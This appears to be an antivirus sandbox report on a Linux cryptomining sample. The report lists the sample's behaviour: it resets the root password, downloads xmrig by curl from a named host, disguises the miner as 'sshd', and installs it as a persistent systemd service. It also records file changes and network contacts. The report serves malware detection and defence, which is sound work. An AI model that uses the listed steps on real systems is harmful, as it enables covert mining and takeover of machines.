Technical Information
Malicious functions:
Substitutes application name for:
- (sd-askpwagent)
Manages services:
- ['systemctl', 'daemon-reload']
- ['systemctl', 'daemon-reexec']
- ['systemctl', 'enable', 'sshd001.service']
- ['systemctl', 'start', 'sshd001.service']
Launches processes:
- passwd root
- ln -P /root/xmrig /root/sshd
- cat
- sudo tee /etc/systemd/system/sshd001.service
- /bin/systemd-tty-ask-password-agent --watch
- chmod 777 xmrig
- <0x8c>
- chmod 777 sshd
- rm -f xmrig
- <SAMPLE_FULL_PATH> -c exec \x27<SAMPLE_FULL_PATH>\x27 \x22$@\x22 <SAMPLE_FULL_PATH>
- tee /etc/systemd/system/sshd001.service
- id -u
- curl -O vvnnmm.com/d/xmrig
Kills the following processes:
- systemd-tty-ask
Performs operations with the file system:
Modifies file access rights:
- /root/xmrig
- /root/sshd
- /etc/nshadow
Modifies file owner:
- /etc/nshadow
Creates symlinks:
- /root/sshd
Creates or modifies files:
- /root/xmrig
- /etc/systemd/system/sshd001.service
- /dev/tty
- /etc/.pwd.lock
- /etc/nshadow
Deletes files:
- /root/xmrig
Network activity:
Establishes connection:
- 8.#.8.8:53
- 94.###.65.212:80
DNS ASK:
- vv##mm.com
Sends data to the following servers:
- 94.###.65.212:80
Receives data from the following servers:
- 94.###.65.212:80